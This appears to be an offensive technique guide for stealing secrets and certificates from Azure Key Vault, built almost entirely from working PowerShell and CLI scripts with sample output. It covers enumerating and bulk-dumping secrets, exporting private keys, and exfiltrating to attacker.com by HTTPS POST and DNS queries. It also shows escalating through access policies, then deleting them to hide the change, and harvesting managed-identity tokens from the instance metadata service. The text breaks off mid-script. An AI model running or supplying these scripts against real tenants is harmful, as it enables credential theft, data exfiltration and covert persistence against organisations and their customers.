| Attribute | Details |
|---|---|
| Technique ID | CA-UNSC-007 |
| MITRE ATT&CK v18.1 | T1552.001 - Unsecured Credentials: Credentials in Files |
| Tactic | Credential Access |
| Platforms | Entra ID, Azure, Cloud-Native |
| Severity | Critical |
| CVE | CVE-2023-28432 (MinIO), Azure APIM Path Traversal (2025, Bounty: $40K) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-06 |
| Affected Versions | Azure Resource Manager (all regions), Entra ID (all versions) |
| Patched In | Partial: RBAC recommended over Access Policies; Cross-tenant mitigated via Azure APIM access control |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections have been dynamically renumbered based on applicability. All sections required for Azure credential access attacks are included. Cloud-specific sections (Windows Event Log, Sysmon) have been replaced with Azure diagnostic logging and Sentinel detection rules.
Azure Key Vault secret extraction is the unauthorized retrieval of cryptographic keys, certificates, and credentials stored in Microsoft Azure Key Vault—a cloud-based secrets management service used by organizations to protect application credentials, database connection strings, API keys, and certificates. Attackers exploit weak RBAC configurations, privilege escalation vulnerabilities in access policy management, or compromised service principal credentials to authenticate to Azure and enumerate/retrieve secrets stored in Key Vaults. The threat is amplified by Azure’s global reach: a single compromised credential grants access to all secrets in a vault, potentially affecting hundreds of dependent applications and services. Unlike on-premises attacks requiring network access, cloud-based attacks succeed with valid authentication tokens from anywhere globally, making detection more challenging and impact more severe.
Compromised secrets from Azure Key Vaults enable attackers to authenticate to dependent applications, databases, cloud services, and APIs with legitimate credentials, providing persistent covert access to business-critical systems, customer data, and financial transaction processing systems with complete impunity. Organizations report that stolen Key Vault secrets remain undetected for weeks or months because legitimate applications and services access the same credentials simultaneously, making anomalous access indistinguishable from normal operations.
Azure Key Vault secret extraction typically requires either (1) valid Entra ID credentials for a principal with read permissions, (2) exploitation of access policy management privileges, or (3) abuse of managed identity tokens exposed via cloud instance metadata. Execution time is measured in seconds (single secret retrieval) to minutes (enumerating hundreds of secrets). Detection is challenging because legitimate application access generates identical logs to malicious extraction; behavioral analysis (unusual time of day, bulk retrieval patterns, IP reputation) is essential. Unlike on-premises environments with network segmentation, cloud attacks succeed globally if authentication is valid, regardless of IP address or geographic location.
| Dimension | Assessment | Details |
|---|---|---|
| Execution Risk | Low | Requires valid authentication only; no privilege escalation needed if permissions already granted |
| Stealth | High | Legitimate applications constantly access secrets; mass retrieval patterns easily hidden in normal traffic |
| Reversibility | No | Stolen secrets cannot be “un-stolen.” Secrets rotation required (causes application downtime if not automated) |
| Detection Likelihood | Medium | Requires diagnostic logging enabled; most organizations don’t have baseline for “normal” secret access patterns |
| Global Reach | Extreme | Can access vaults from any geographic location if authentication valid (no network boundary enforcement) |
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1.1, 5.1.2 | Manage secrets through Key Vault; use RBAC not access policies |
| DISA STIG | IA-4, SC-28 | Identifier Management; Information at Rest Protection (encryption keys) |
| CISA SCuBA | Identity 2.2, Data 1.3 | RBAC enforcement; secrets lifecycle management |
| NIST 800-53 | SC-28, SC-7, AC-2 | Information at Rest; Boundary Protection; Account Management |
| GDPR | Art. 32, Art. 33 | Security of Processing (encrypt secrets); Breach notification if secrets compromised |
| DORA | Art. 9 | Protection and Prevention; critical infrastructure cryptographic key protection |
| NIS2 | Art. 21 | Cyber Risk Management Measures; sensitive credential storage requirements |
| ISO 27001 | A.10.1, A.8.3, A.9.2.3 | Cryptography Policy; Access Control; Privileged Access Management |
| ISO 27005 | 8.3 | Risk Assessment; credential compromise scenario analysis |
| Scenario | Required Access | Authentication Method |
|---|---|---|
| Direct Vault Access (Read Secrets) | RBAC: Key Vault Secrets User role (or higher) | Service Principal, User account, Managed Identity |
| Access Policy Modification (Escalation) | RBAC: Key Vault Contributor role | Service Principal, User account |
| Managed Identity Token Abuse | Compute instance with assigned identity | Cloud Shell, Azure VM, Container Instance |
| Cross-Tenant Bypass | Network access to shared APIM instance | Any authenticated user (if APIM misconfigured) |
| Service Principal Creation | RBAC: Application Administrator in Entra ID | Existing compromised Entra admin account |
| Azure Component | Supported | Details |
|---|---|---|
| Azure Key Vault (Standard) | ✅ All versions | Cloud-based key management service |
| Key Vault Managed HSM | ⚠️ Partial (HSM enforces key protection) | Keys non-exportable; secrets still readable |
| Entra ID (formerly Azure AD) | ✅ All versions | Authentication/authorization platform |
| Azure Resource Manager | ✅ All regions | Azure control plane; logs all Key Vault access |
| PowerShell Az Module | ✅ 5.0+ | Native Azure management tool |
| Azure CLI | ✅ 2.30+ | Command-line Azure management |
| Logic Apps / Functions | ✅ All versions | Managed identity token exposure risk |
| Tool | Version | URL | Purpose | Required |
|---|---|---|---|---|
| PowerShell | 7.0+ | https://github.com/PowerShell/PowerShell | Azure module execution | ✅ Yes |
| Az Module | 5.0+ | https://learn.microsoft.com/en-us/powershell/azure/ | Azure resource management | ✅ Yes |
| Azure CLI | 2.30+ | https://learn.microsoft.com/en-us/cli/azure/ | Alternative to PowerShell | ⚠️ Optional |
| BARK (BloodHound ARK) | Latest | https://github.com/BloodHoundAD/BARK | Azure privilege escalation/enumeration | ⚠️ Optional |
| Impacket | 0.10.0+ | https://github.com/fortra/impacket | Python Azure SDK alternative | ⚠️ Optional |
| curl / Invoke-WebRequest | Built-in | Native utilities | Managed Identity metadata service access | ⚠️ Optional |
| jq | 1.6+ | https://stedolan.github.io/jq/ | JSON parsing (Linux) | ⚠️ Optional |
| Requirement | Details | Rationale |
|---|---|---|
| Active Azure Subscription | Standard, Enterprise, or trial | Required to access Key Vaults |
| Entra ID Tenant Access | User or service principal in tenant | Authentication and authorization checks |
| Key Vault Diagnostic Logging | Must be enabled (often disabled by default) | Required for detection; logs stored in Log Analytics Workspace |
| Log Analytics Workspace | Required for Sentinel detection rules | Central audit log repository |
| .NET Framework / .NET 6+ | For PowerShell Az module | Runtime dependency |
Objective: Enumerate all Azure Key Vaults accessible from current identity to identify targets containing high-value secrets (certificates, connection strings, API keys).
Command (All Versions):
# Connect to Azure subscription
Connect-AzAccount
# List all Key Vaults in current subscription
Get-AzKeyVault | Select-Object VaultName, ResourceGroupName, Location
# Get more details (including access control model)
Get-AzKeyVault | ForEach-Object {
Write-Host "Vault: $($_.VaultName)"
Write-Host " Resource Group: $($_.ResourceGroupName)"
Write-Host " Location: $($_.Location)"
Write-Host " Sku: $($_.Sku.Name)"
Write-Host " EnableRbacAuthorization: $($_.EnableRbacAuthorization)"
Write-Host " EnableSoftDelete: $($_.EnableSoftDelete)"
Write-Host " ---"
}
# Get subscription ID (for scoping)
$SubId = (Get-AzSubscription).Id
Write-Host "Current Subscription: $SubId"
Expected Output:
Vault: prod-keyvault-001
Resource Group: production-rg
Location: eastus
Sku: Standard
EnableRbacAuthorization: True
EnableSoftDelete: True
Vault: dev-keyvault-002
Resource Group: development-rg
Location: westus
Sku: Premium
EnableRbacAuthorization: False
EnableSoftDelete: False
Current Subscription: a1b2c3d4-e5f6-7890-abcd-ef1234567890
What This Means:
Red Flags (Vulnerable Configuration):
Version Note: Command identical across all Azure regions and versions.
Objective: Verify what permissions the current identity has on each Key Vault (will execution succeed? Are we blocked?).
Command (All Versions - Check RBAC):
# Get current user/service principal context
$CurrentUser = (Get-AzContext).Account.Id
Write-Host "Current Identity: $CurrentUser"
# Check RBAC role assignments on Key Vault
$KeyVault = "prod-keyvault-001"
$ResourceGroupName = "production-rg"
Get-AzRoleAssignment -ResourceGroupName $ResourceGroupName -ResourceName $KeyVault -ResourceType "Microsoft.KeyVault/vaults" | Select-Object DisplayName, RoleDefinitionName, Scope
# Check specific role: do we have "Secrets User" or "Secrets Officer"?
$RoleAssignments = Get-AzRoleAssignment -ResourceGroupName $ResourceGroupName -ResourceName $KeyVault -ResourceType "Microsoft.KeyVault/vaults"
foreach ($Role in $RoleAssignments) {
if ($Role.RoleDefinitionName -match "Secrets User|Secrets Officer|Contributor|Owner") {
Write-Host "[+] Permission Granted: $($Role.RoleDefinitionName) for $($Role.DisplayName)" -ForegroundColor Green
}
}
Command (All Versions - Check Access Policies):
# If using legacy Access Policies (EnableRbacAuthorization = False)
$Vault = Get-AzKeyVault -VaultName "prod-keyvault-001" -ResourceGroupName "production-rg"
# List all access policies
$Vault.AccessPolicies | ForEach-Object {
Write-Host "Principal: $($_.DisplayName)"
Write-Host " Object ID: $($_.ObjectId)"
Write-Host " Permissions - Secrets: $($_.PermissionsToSecrets)"
Write-Host " Permissions - Keys: $($_.PermissionsToKeys)"
Write-Host " Permissions - Certificates: $($_.PermissionsToCertificates)"
Write-Host " ---"
}
Expected Output (RBAC - Secure Configuration):
DisplayName RoleDefinitionName Scope
----------- ------------------ -----
john.admin@contoso.com Key Vault Secrets User /subscriptions/.../prod-keyvault-001
svc_app@contoso.com Key Vault Secrets Officer /subscriptions/.../prod-keyvault-001
dev-team@contoso.com Reader /subscriptions/.../prod-keyvault-001
[+] Permission Granted: Key Vault Secrets User for john.admin@contoso.com
[+] Permission Granted: Key Vault Secrets Officer for svc_app@contoso.com
Expected Output (Access Policies - Legacy/Vulnerable):
Principal: john.admin@contoso.com
Object ID: a1b2c3d4-e5f6-7890-abcd-ef1234567890
Permissions - Secrets: [get, list, set, delete]
Permissions - Keys: [get, list, create, update, import, delete, backup, restore]
Permissions - Certificates: [get, list, create, update, import, delete, backup, restore, managecontacts, manageissuers]
Principal: svc_app@contoso.com
Object ID: b2c3d4e5-f6a7-8901-bcde-f12345678901
Permissions - Secrets: [get, list]
Permissions - Keys: []
Permissions - Certificates: []
What This Means (RBAC):
What This Means (Access Policies):
Red Flags (Vulnerable Configuration):
Version Note: RBAC structure identical across all Azure regions.
Objective: List all secrets stored in accessible Key Vaults to prioritize extraction (database credentials > API keys > app secrets).
Command (All Versions):
# List all secrets (names only, without values)
$Vault = "prod-keyvault-001"
$Secrets = Get-AzKeyVaultSecret -VaultName $Vault
Write-Host "Secrets in vault: $Vault" -ForegroundColor Cyan
$Secrets | Select-Object Name, Enabled, @{Name="LastUpdated";Expression={$_.Updated}} | Format-Table
# Identify high-value targets by name pattern
Write-Host "`nHigh-Value Targets (by name pattern):" -ForegroundColor Yellow
$Secrets | Where-Object {
$_.Name -match "db.*password|connection.*string|api.*key|client.*secret|sql.*password|admin.*password"
} | Select-Object Name, Enabled
# Get secret versions (historical data)
$SecretName = "app-db-password"
Get-AzKeyVaultSecret -VaultName $Vault -Name $SecretName -IncludeVersions | Select-Object Name, Version, Created, Updated
Expected Output:
Secrets in vault: prod-keyvault-001
Name Enabled LastUpdated
---- ------- -----------
app-db-password True 12/28/2025 10:15:22 AM
app-api-key-stripe True 12/27/2025 03:45:00 AM
client-secret-adfs True 12/01/2025 08:22:15 AM
exchange-admin-password True 11/15/2025 02:30:00 AM
databricks-token True 12/20/2025 09:10:00 AM
github-pat-deploy True 12/25/2025 11:22:00 AM
High-Value Targets (by name pattern):
Name Enabled
---- -------
app-db-password True
client-secret-adfs True
exchange-admin-password True
Version History for 'app-db-password':
Name Version Created Updated
---- ------- ------- -------
app-db-password abc123... 12/28/2025 10:15:22 AM 12/28/2025 10:15:22 AM
app-db-password def456... 11/15/2025 09:30:00 AM 11/15/2025 09:30:00 AM
app-db-password ghi789... 10/01/2025 03:00:00 AM 10/01/2025 03:00:00 AM
What This Means:
Red Flags (High-Value Targets):
Version Note: Command identical across all Azure regions.
Objective: Enumerate Key Vaults using Azure CLI (equivalent to PowerShell, useful in containerized environments).
Command (All Versions - Bash):
# Authenticate to Azure
az login
# List all Key Vaults in current subscription
az keyvault list --output table
# Get detailed information
az keyvault list --query "[].{Name:name, ResourceGroup:resourceGroup, Location:location, EnableRbac:properties.enableRbacAuthorization}"
# Get current user/service principal
az account show --query "user.name"
# List all subscriptions (find additional vaults)
az account list --output table
az account set --subscription "subscription-id" # Switch subscription
Expected Output:
Name ResourceGroup Location EnableRbac
------------------------------ ---------------- ---------- ----------
prod-keyvault-001 production-rg eastus true
dev-keyvault-002 development-rg westus false
backup-keyvault-003 backup-rg westeurope true
What This Means:
Objective: Enumerate secrets in Key Vault.
Command (All Versions - Bash):
# List all secrets (names only)
az keyvault secret list --vault-name prod-keyvault-001 --output table
# List with creation/update dates
az keyvault secret list --vault-name prod-keyvault-001 --query "[].{Name:name, Created:attributes.created, Updated:attributes.updated}" --output table
# Identify high-value targets
az keyvault secret list --vault-name prod-keyvault-001 --query "[?contains(name, 'password') || contains(name, 'api') || contains(name, 'connection')].[name]" --output tsv
Expected Output:
Name Created Updated
------------------------------ ---------------------------- ----------------------------
app-db-password 12/28/2025 10:15:22 AM 12/28/2025 10:15:22 AM
app-api-key-stripe 12/27/2025 03:45:00 AM 12/27/2025 03:45:00 AM
client-secret-adfs 12/01/2025 08:22:15 AM 12/01/2025 08:22:15 AM
Supported Versions: All Azure regions, all subscription types
Prerequisites: Entra ID authentication with “Key Vault Secrets User” or higher RBAC role; network connectivity to Azure (https://vault.azure.net)
Objective: Obtain Entra ID access token required to authenticate all subsequent Key Vault operations.
Command (Interactive User Login - All Versions):
# Interactive login (prompts for browser authentication)
Connect-AzAccount
# Verify successful authentication
$Context = Get-AzContext
Write-Host "Authenticated as: $($Context.Account.Id)"
Write-Host "Subscription: $($Context.Subscription.Name)"
Command (Service Principal Authentication - All Versions):
# Using credentials (Username/Password)
$UserName = "svc_app@contoso.onmicrosoft.com"
$Password = ConvertTo-SecureString -String "P@ssw0rd" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($UserName, $Password)
Connect-AzAccount -Credential $Credential
# Using certificate (more secure for automation)
$CertPath = "C:\Certs\app-cert.pfx"
$CertPassword = ConvertTo-SecureString -String "CertPass123" -AsPlainText -Force
$Cert = Import-PfxCertificate -FilePath $CertPath -Password $CertPassword -CertStoreLocation "Cert:\CurrentUser\My"
Connect-AzAccount -ServicePrincipal -Credential (New-Object System.Management.Automation.PSCredential(
"a1b2c3d4-e5f6-7890-abcd-ef1234567890", # Application ID
(ConvertTo-SecureString -String $Cert.Thumbprint -AsPlainText -Force)
)) -TenantId "contoso.onmicrosoft.com"
# Using tenant/client secret
$TenantId = "contoso.onmicrosoft.com"
$AppId = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
$Secret = "client-secret-value"
$SecureSecret = ConvertTo-SecureString -String $Secret -AsPlainText -Force
Connect-AzAccount -ServicePrincipal -Credential (New-Object PSCredential($AppId, $SecureSecret)) -TenantId $TenantId
Command (Managed Identity - From Azure Compute):
# Run from within Azure VM, Function App, Logic App, Container Instance
# Automatically uses assigned managed identity (no credentials needed)
Connect-AzAccount -Identity
# Verify
$Context = Get-AzContext
Write-Host "Connected with Managed Identity: $($Context.Account.Id)"
Expected Output (Successful):
Account SubscriptionName TenantId Environment
------- ---------------- -------- -----------
user@contoso.com Production-Subscription a1b2c3d4-e5f6-7890-abcd-ef1234567890 AzureCloud
Authenticated as: user@contoso.com
Subscription: Production-Subscription
What This Means:
Version Note: Authentication method identical across all Azure regions and subscription types.
OpSec & Evasion:
Troubleshooting:
References:
Objective: Extract plaintext values of secrets from Key Vault using authenticated session.
Command (Get Single Secret - All Versions):
# Retrieve secret value as plaintext
$VaultName = "prod-keyvault-001"
$SecretName = "app-db-password"
$Secret = Get-AzKeyVaultSecret -VaultName $VaultName -Name $SecretName -AsPlainText
Write-Host "Secret Value: $Secret"
# Alternative: Retrieve and pipe to clipboard (for later use)
$Secret | Set-Clipboard
Write-Host "[+] Secret copied to clipboard"
# Retrieve without plaintext (returns SecureString - encrypted in memory)
$SecureSecret = Get-AzKeyVaultSecret -VaultName $VaultName -Name $SecretName
# Convert SecureString to plaintext if needed
$PlainSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto(
[System.Runtime.InteropServices.Marshal]::SecureStringToCoTaskMemAlloc($SecureSecret.SecretValue)
)
Write-Host "Decrypted: $PlainSecret"
Command (Get All Secrets - Bulk Retrieval):
# Enumerate and retrieve all secrets in vault
$VaultName = "prod-keyvault-001"
$AllSecrets = Get-AzKeyVaultSecret -VaultName $VaultName
# Create CSV export
$SecretData = @()
foreach ($Secret in $AllSecrets) {
$Value = Get-AzKeyVaultSecret -VaultName $VaultName -Name $Secret.Name -AsPlainText
$SecretData += New-Object PSObject -Property @{
Name = $Secret.Name
Value = $Value
Created = $Secret.Created
Updated = $Secret.Updated
Enabled = $Secret.Enabled
}
}
# Export to file
$SecretData | Export-Csv -Path "C:\Temp\extracted_secrets.csv" -NoTypeInformation
Write-Host "[+] Secrets exported to C:\Temp\extracted_secrets.csv"
# Summary
Write-Host "[+] Total secrets retrieved: $($SecretData.Count)"
$SecretData | Select-Object Name, Value | Format-Table
Expected Output (Single Secret):
Secret Value: Server=sqldb.database.windows.net;Database=ProductionDB;User ID=sa;Password=Sup3rS3cur3P@ss!
[+] Secret copied to clipboard
Expected Output (Bulk Retrieval):
[+] Secrets exported to C:\Temp\extracted_secrets.csv
[+] Total secrets retrieved: 6
Name Value
---- -----
app-db-password Server=sqldb.database.windows.net;Database=ProductionDB;User ID=sa;Password=Sup3rS3cur3P@ss!
app-api-key-stripe sk_live_51HZ7LC2eZvKa46r0N59a5zX8K0pXR6n3Y8m9O0p1Q2r3S4t5U6v7W8x9Y0z1A2b
client-secret-adfs a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6a7b8c9d0e1f
exchange-admin-password ExchAdmin@2025!
databricks-token dapi12345abcde67890fghij
github-pat-deploy ghp_1234567890abcdefghijklmnopqrstuvwxyz
What This Means:
Business Impact (Post-Extraction):
Version Note: Command identical across all Azure regions.
OpSec & Evasion:
Troubleshooting:
Get-AzKeyVaultSecret -VaultName $VaultNameGet-AzKeyVaultSecret -VaultName $VaultName -Name $Name | Select-Object EnabledReferences:
Objective: Export certificates including private keys from Key Vault (enables certificate-based authentication/signing).
Command (Export Certificate as PFX - All Versions):
# Retrieve certificate object
$VaultName = "prod-keyvault-001"
$CertName = "app-signing-cert"
$Cert = Get-AzKeyVaultCertificate -VaultName $VaultName -Name $CertName
Write-Host "Certificate: $($Cert.Name)"
Write-Host "Thumbprint: $($Cert.Thumbprint)"
Write-Host "Expires: $($Cert.Expires)"
# Export as Base64 (can be imported anywhere)
$CertBytes = $Cert.Cer
$CertBase64 = [Convert]::ToBase64String($CertBytes)
Write-Host "Certificate (Base64): $CertBase64" | Out-File "C:\Temp\cert.txt"
# Get private key (if available)
$SecretId = $Cert.SecretId
$CertSecret = Get-AzKeyVaultSecret -VaultName $VaultName -Name $CertName
$CertBytes = [Convert]::FromBase64String($CertSecret.SecretValue)
[System.IO.File]::WriteAllBytes("C:\Temp\export_cert.pfx", $CertBytes)
Write-Host "[+] Certificate exported to C:\Temp\export_cert.pfx"
Command (Export as PEM - For Linux/OpenSSL):
# Export PFX and convert to PEM on Windows
$PfxPath = "C:\Temp\export_cert.pfx"
# Or on Linux
# openssl pkcs12 -in export_cert.pfx -out export_cert.pem -nodes
Expected Output:
Certificate: app-signing-cert
Thumbprint: ABC123DEF456ABC123DEF456ABC123DEF456AB
Expires: 06/15/2027 11:59:59 PM
[+] Certificate exported to C:\Temp\export_cert.pfx
What This Means:
Post-Extraction Uses:
Version Note: Command identical across all Azure regions.
Troubleshooting:
Get-AzKeyVaultCertificate -VaultName $VaultNameReferences:
Objective: Transfer extracted secrets to attacker-controlled system for storage and usage.
Command (HTTPS Exfiltration - Lowest Detection):
# Send secrets to attacker-controlled server (TLS-encrypted)
$Secrets = @{
"app-db-password" = Get-AzKeyVaultSecret -VaultName "prod-keyvault-001" -Name "app-db-password" -AsPlainText
"api-key-stripe" = Get-AzKeyVaultSecret -VaultName "prod-keyvault-001" -Name "app-api-key-stripe" -AsPlainText
}
$JsonBody = $Secrets | ConvertTo-Json
$Uri = "https://attacker.com:8443/upload"
$Response = Invoke-WebRequest -Uri $Uri -Method POST -Body $JsonBody -ContentType "application/json"
Write-Host "[+] Secrets sent to $Uri"
Command (DNS Exfiltration - Stealthy, Slow):
# For highly monitored networks
$Secret = Get-AzKeyVaultSecret -VaultName "prod-keyvault-001" -Name "app-db-password" -AsPlainText
$Bytes = [System.Text.Encoding]::UTF8.GetBytes($Secret)
$Base64 = [Convert]::ToBase64String($Bytes)
# Send in chunks via DNS queries
for ($i=0; $i -lt $Base64.Length; $i+=32) {
$Chunk = $Base64.Substring($i, [Math]::Min(32, $Base64.Length - $i))
nslookup "$Chunk.attacker.com"
}
Command (File Export - Local Storage):
# Export all secrets to encrypted file (for later transmission)
$VaultName = "prod-keyvault-001"
$AllSecrets = Get-AzKeyVaultSecret -VaultName $VaultName
$Export = @()
foreach ($Secret in $AllSecrets) {
$Value = Get-AzKeyVaultSecret -VaultName $VaultName -Name $Secret.Name -AsPlainText
$Export += "$($Secret.Name)=$Value"
}
# Encrypt before saving
$Password = ConvertTo-SecureString -String "ExfiltrationPassword123" -AsPlainText -Force
$EncryptedFile = "C:\Temp\secrets.enc"
$Export | ConvertTo-Json | ConvertTo-SecureString -AsPlainText -Force | Export-Clixml -Path $EncryptedFile
Write-Host "[+] Secrets encrypted and saved to $EncryptedFile"
Expected Output:
[+] Secrets sent to https://attacker.com:8443/upload
[+] Response: 200 OK - Successfully processed
What This Means:
Version Note: Network behavior identical across all Azure regions.
OpSec & Evasion:
Troubleshooting:
Test-NetConnection attacker.com -Port 8443References:
Supported Versions: All Azure regions (affecting vaults using Access Policies instead of RBAC)
Prerequisites: Entra ID authentication with “Key Vault Contributor” RBAC role (or equivalent permission to modify Key Vault configuration)
Difficulty: Medium (requires understanding of Access Policy structure)
Note: This technique exploits a documented-but-not-patched Microsoft design: “Key Vault Contributor” role can modify access policies. Microsoft updated documentation in 2024 to warn users, but provides no blocking control.
Objective: Confirm current principal has “Key Vault Contributor” role (permission to modify policies).
Command (All Versions):
# Get current user/service principal
$CurrentUser = (Get-AzContext).Account.Id
$CurrentObjectId = (Get-AzADServicePrincipal -UserPrincipalName $CurrentUser).Id
# Check if current user has Contributor role on Key Vault
$VaultName = "prod-keyvault-001"
$ResourceGroupName = "production-rg"
$RoleAssignment = Get-AzRoleAssignment -ResourceGroupName $ResourceGroupName `
-ResourceName $VaultName `
-ResourceType "Microsoft.KeyVault/vaults" |
Where-Object {$_.ObjectId -eq $CurrentObjectId}
if ($RoleAssignment.RoleDefinitionName -match "Contributor|Owner") {
Write-Host "[+] Current user has $($RoleAssignment.RoleDefinitionName) role - Escalation possible!" -ForegroundColor Green
} else {
Write-Host "[-] Current user role: $($RoleAssignment.RoleDefinitionName) - Cannot escalate" -ForegroundColor Red
}
Expected Output (Vulnerable):
[+] Current user has Contributor role - Escalation possible!
Expected Output (Secure):
[-] Current user role: Reader - Cannot escalate
Objective: Use Contributor role to add current principal to vault’s access policy with “Get” permission for secrets.
Command (Escalate to Secrets Officer - All Versions):
# Get current principal
$CurrentContext = Get-AzContext
$CurrentUser = $CurrentContext.Account.Id
# Resolve principal object ID
if ($CurrentContext.Account.Type -eq "ServicePrincipal") {
$ObjectId = (Get-AzADServicePrincipal -ApplicationId $CurrentUser).Id
} else {
$ObjectId = (Get-AzADUser -UserPrincipalName $CurrentUser).Id
}
# Get vault and current access policies
$VaultName = "prod-keyvault-001"
$ResourceGroupName = "production-rg"
$Vault = Get-AzKeyVault -VaultName $VaultName -ResourceGroupName $ResourceGroupName
# Create new access policy for current user (grant all secret permissions)
$PermissionGranted = "Get", "List", "Set", "Delete", "Recover", "Backup", "Restore"
# Update vault with new access policy
Update-AzKeyVaultAccessPolicy -VaultName $VaultName `
-ResourceGroupName $ResourceGroupName `
-ObjectId $ObjectId `
-PermissionsToSecrets $PermissionGranted
Write-Host "[+] Access policy updated for object ID: $ObjectId"
Write-Host "[+] Permissions granted: $($PermissionGranted -join ', ')"
# Verify escalation
$UpdatedVault = Get-AzKeyVault -VaultName $VaultName -ResourceGroupName $ResourceGroupName
$UpdatedPolicy = $UpdatedVault.AccessPolicies | Where-Object {$_.ObjectId -eq $ObjectId}
Write-Host "[+] Verification - Secrets permissions: $($UpdatedPolicy.PermissionsToSecrets)"
Expected Output (Successful Escalation):
[+] Access policy updated for object ID: a1b2c3d4-e5f6-7890-abcd-ef1234567890
[+] Permissions granted: Get, List, Set, Delete, Recover, Backup, Restore
[+] Verification - Secrets permissions: [get, list, set, delete, recover, backup, restore]
What This Means:
Business Impact:
Version Note: Command identical across all Azure regions.
OpSec & Evasion:
Troubleshooting:
Get-AzKeyVault -VaultName $VaultName | Select-Object EnableRbacAuthorizationGet-AzKeyVault -VaultName $VaultName | Select-Object -ExpandProperty AccessPoliciesRemove-AzKeyVaultAccessPolicy -VaultName $VaultName -ObjectId $ObjectIdToDeleteReferences:
Objective: Extract secrets using newly granted permissions (same as METHOD 1, Step 2).
Command (Retrieve All Secrets - All Versions):
# Now that we have Get permission, extract all secrets
$VaultName = "prod-keyvault-001"
$AllSecrets = Get-AzKeyVaultSecret -VaultName $VaultName
$SecretData = @()
foreach ($Secret in $AllSecrets) {
$Value = Get-AzKeyVaultSecret -VaultName $VaultName -Name $Secret.Name -AsPlainText
$SecretData += @{Name = $Secret.Name; Value = $Value}
Write-Host "[+] Retrieved: $($Secret.Name)"
}
Write-Host "`n[+] Total secrets extracted: $($SecretData.Count)"
$SecretData | Format-Table -AutoSize
Expected Output:
[+] Retrieved: app-db-password
[+] Retrieved: app-api-key-stripe
[+] Retrieved: client-secret-adfs
[+] Retrieved: exchange-admin-password
[+] Retrieved: databricks-token
[+] Retrieved: github-pat-deploy
[+] Total secrets extracted: 6
Name Value
---- -----
app-db-password Server=sqldb.database.windows.net;Database=ProductionDB;...
app-api-key-stripe sk_live_51HZ7LC2eZvKa46r0N...
client-secret-adfs a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6...
Objective: Remove the escalated access policy to hide the privilege escalation attack.
Command (All Versions):
# Remove access policy (cleanup after extraction)
$VaultName = "prod-keyvault-001"
$ResourceGroupName = "production-rg"
$ObjectId = (Get-AzADServicePrincipal -ApplicationId $CurrentUser).Id # Or Get-AzADUser
Remove-AzKeyVaultAccessPolicy -VaultName $VaultName `
-ResourceGroupName $ResourceGroupName `
-ObjectId $ObjectId
Write-Host "[+] Access policy removed for object ID: $ObjectId"
Write-Host "[*] Audit trail: entries remain in Azure Activity Log (30-90 day retention)"
Expected Output:
[+] Access policy removed for object ID: a1b2c3d4-e5f6-7890-abcd-ef1234567890
[*] Audit trail: entries remain in Azure Activity Log (30-90 day retention)
What This Means:
References:
Supported Versions: All Azure Compute resources (VMs, Functions, Logic Apps, Container Instances, Kubernetes)
Prerequisites: Code execution on Azure compute resource with assigned managed identity (with Key Vault access)
Difficulty: Medium-High (requires understanding of instance metadata service)
Objective: Confirm current compute environment has assigned managed identity and verify it can access Key Vault.
Command (From Azure VM/Function/Logic App):
# Test if running in Azure with managed identity
$MetadataUri = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://vault.azure.net"
try {
$Response = Invoke-WebRequest -Uri $MetadataUri -Headers @{Metadata="true"} -UseBasicParsing -ErrorAction Stop
$TokenResponse = $Response.Content | ConvertFrom-Json
$AccessToken = $TokenResponse.access_token
Write-Host "[+] Managed Identity Token obtained!" -ForegroundColor Green
Write-Host "[*] Token preview: $($AccessToken.Substring(0, 50))..."
} catch {
Write-Host "[-] No managed identity available: $_" -ForegroundColor Red
exit
}
Expected Output (Vulnerable):
[+] Managed Identity Token obtained!
[*] Token preview: eyJhbGciOiJSUzI1NiIsImtpZCI6IjFjQUZwYjR...
Expected Output (Protected):
[-] No managed identity available: Invoke-WebRequest : The remote server returned an error: (404) Not Found.
What This Means:
Objective: Authenticate to Azure Key Vault using the managed identity access token.
Command (Retrieve Secrets with Token):
# Get managed identity token
$MetadataUri = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://vault.azure.net"
$TokenResponse = Invoke-WebRequest -Uri $MetadataUri -Headers @{Metadata="true"} -UseBasicParsing | ConvertFrom-Json
$AccessToken = $TokenResponse.access_token
# Use token to access Key Vault directly (via REST API)
$VaultName = "prod-keyvault-001"
$SecretName = "app-db-password"
$SecretUri = "https://$VaultName.vault.azure.net/secrets/$SecretName?api-version=2016-10-01"
$Headers = @{Authorization = "Bearer $AccessToken"}
try {
$SecretResponse = Invoke-WebRequest -Uri $SecretUri -Headers $Headers -UseBasicParsing | ConvertFrom-Json
$SecretValue = $SecretResponse.value
Write-Host "[+] Secret retrieved: $SecretValue" -ForegroundColor Green
} catch {
Write-Host "[-] Access denied: $_" -ForegroundColor Red
}
Expected Output (Successful):
[+] Secret retrieved: Server=sqldb.database.windows.net;Database=ProductionDB;User ID=sa;Password=Sup3rS3cur3P@ss!
Expected Output (Insufficient Permissions):
[-] Access denied: Invoke-WebRequest : The remote server returned an error: (403) Forbidden.
What This Means:
Objective: List and retrieve all secrets the managed identity has access to.
Command (List and Extract):
# Get token
$MetadataUri = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://vault.azure.net"
$TokenResponse = Invoke-WebRequest -Uri $MetadataUri -Headers @{Metadata="true"} -UseBasicParsing | ConvertFrom-Json
$AccessToken = $TokenResponse.access_token
# List all secrets
$VaultName = "prod-keyvault-001"
$ListUri = "https://$VaultName.vault.azure.net/secrets?api-version=2016-10-01"
$Headers = @{Authorization = "Bearer $AccessToken"}
$ListResponse = Invoke-WebRequest -Uri $ListUri -Headers $Headers -UseBasicParsing | ConvertFrom-Json
$Secrets = $ListResponse.value
# Extract each secret
Write-Host "[*] Found $($Secrets.Count) secrets"
foreach ($Secret in $Secrets) {
$SecretName = $Secret.id.Split('/')[-1]
$SecretUri = "https://$VaultName.vault.azure.net/secrets/$SecretName?api-version=2016-10-01"
